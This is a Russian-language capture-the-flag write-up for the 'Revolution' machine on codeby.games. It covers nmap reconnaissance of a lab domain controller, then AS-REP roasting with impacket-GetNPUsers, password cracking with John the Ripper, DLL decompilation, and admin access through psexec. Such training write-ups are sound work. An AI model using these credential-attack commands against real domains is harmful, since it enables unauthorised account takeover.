Writeup Revolution (CodebyGames)
Предисловие.
Для прохождения данной задачи необходимо иметь навыки тестирования web приложений и знания инструментов для reverse engineering.
Решение.
Получаем ip на платформе codeby.games
Проводим разведку и сбор информации о цели с помощью nmap.
┌──(root㉿kali)-[~/codeby_game/Revolution]
└─# cat scan.nmap
# Nmap 7.94SVN scan initiated Fri May 24 08:33:19 2024 as: nmap -sVC -A -oA scan 192.168.2.5
Nmap scan report for 192.168.2.5
Host is up (0.020s latency).
Not shown: 986 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Revolution
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-05-24 12:33:35Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: codeby.cdb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: codeby.cdb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Service Unavailable
|_http-server-header: Microsoft-HTTPAPI/2.0
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (95%)
Aggressive OS guesses: Microsoft Windows Server 2019 (95%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: REVOLUTION; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-05-24T12:33:45
|_ start_date: N/A
|_clock-skew: -1s
TRACEROUTE
HOP RTT ADDRESS
1 19.72 ms 192.168.2.5
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri May 24 08:34:25 2024 — 1 IP address (1 host up) scanned in 66.76 seconds
Что здесь мы можем видеть интересного? А из интересного у нас несколько портов это порт 21 и 80.
Port 80
Перейдя по адресу http://192.168.2.5 мы видим главную страницу сайта.
Больше пока ни какой информации нет.
Далее нам необходимо просмотреть директории приложения, для этого я воспользуюсь таким инструментом как dirsearch, данный инструмент уже входит в число инструментов для тестирования входящих в дистрибутив Kali Linux, если вы используете другую Linux систему, то можете скачать его здесь.
Составим синтаксис команды, для сканирования.
Останавливаться на разборе синтаксиса команды не буду.
По оканцие работы программы вы должны увидеть интересующую нас директорию, которая будет хранить несколько файлов.
Данные файлы открываем в блокноте, далее просматриваем содержимое файлов и получаем первые УЗ.
Полученную УЗ сохраняем в файл и проводим атаку типа ASRepRoast.
Теория.
ASREPRoast - это атака безопасности, которая использует пользователей, у которых отсутствует обязательный атрибут предварительной аутентификации Kerberos . По сути, эта уязвимость позволяет злоумышленникам запрашивать аутентификацию пользователя у контроллера домена (DC) без необходимости ввода пароля пользователя. Затем контроллер домена отвечает сообщением, зашифрованным с помощью ключа, полученного из пароля пользователя, который злоумышленники могут попытаться взломать в автономном режиме, чтобы узнать пароль пользователя.
Для реализации атки воспользуемся инструментом impacket и введем следующую команду:
impacket-GetNPUsers -no-pass -usersfile ./users.txt codeby.cdb/ -dc-ip 192.168.2.5
Вывод так же сохраняем в отдельный файл, далее постараемся получить пароль в открытом виде для нашего пользователя с помощью инструментов John The Ripper или Hashcat.
Я воспользуюсь John The Ripper (JTR).
john --wordlist=/usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords.txt kerberoast.hashes.txt
После того как программа отработает и мы получим пароль в открытом виде, нашим следующим шагом будет собрать все пользователей домена, при помощи crackmaexc или NetExec, при помощи следующей команды:
После того как мы собрали всех пользователей домена, снова проводим атаку тапа ASRepRoast, для получения дополнительных УЗ.
Port 21
Во время сбора информации о пользователях домена, обратите внимание на пользователя имеющего доступ к ftp серверу.
После того как вы попадете на сервер, осмотрите его внимательно, там будет интересная библиотека, которую нам в дальнейшем предстоит распаковать.
Для того, что бы распаковать file.dll необходимо установить программу dnSpy можно скачать здесь или ILspy который можно скачать здесь, или же вы можете воспользоваться любым другим инструментом из раздела reverse engineering.
Дальнейшие действия описывать не буду, т.к. они будут идентичны описанным в предыдущих тасках, кроме одного момента. После получения УЗ администратора мне не удалось подключиться к машине при помощи программы evil-winrm, по этой причине я воспользовался программой psexec входящей в состав программы impackt.